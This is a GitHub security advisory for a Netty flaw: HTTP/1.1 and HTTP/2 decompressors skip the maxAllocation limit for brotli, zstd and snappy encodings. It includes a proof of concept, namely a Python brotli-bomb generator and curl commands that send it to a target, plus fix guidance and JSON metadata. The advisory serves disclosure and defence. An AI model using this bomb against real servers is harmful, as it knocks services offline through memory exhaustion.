GHSA-F6HV-JMP6-3VWV

Vulnerability from github – Published: 2026-05-07 00:46 – Updated: 2026-05-14 20:41
VLAI?
Summary
Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS
Details

Summary

HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.

The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.

Details

HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.

For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():

// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))

ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:

// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());

For brotli, zstd, and snappy, the decoders are created without any size limit:

// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())

// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())

// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())

BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.

ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.

The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.

PoC

  1. Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max
  1. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024)  # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
    f.write(compressed)
# compressed size: ~1KB
  1. Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: gzip' \
  --data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB
  1. Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: br' \
  --data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM
  1. The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.

Impact

  • Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding.
  • False sense of security: Developers who explicitly configure maxAllocation to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.
  • Trivial bypass: The attacker only needs to change one HTTP header (Content-Encoding: br instead of Content-Encoding: gzip) to circumvent the protection entirely.
  • Both HTTP/1.1 and HTTP/2: The vulnerability exists in both HttpContentDecompressor (HTTP/1.1) and DelegatingDecompressorFrameListener (HTTP/2).

Recommended Fix

Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:

HttpContentDecompressor.java — pass maxAllocation to all decoders:

// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))

// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))

// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))

DelegatingDecompressorFrameListener.java — same fix at lines 188-210.

BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.

SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.

ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).

Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:46:35Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024)  # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n    f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n  -H \u0027Content-Encoding: gzip\u0027 \\\n  --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n  -H \u0027Content-Encoding: br\u0027 \\\n  --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
  "id": "GHSA-f6hv-jmp6-3vwv",
  "modified": "2026-05-14T20:41:29Z",
  "published": "2026-05-07T00:46:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}


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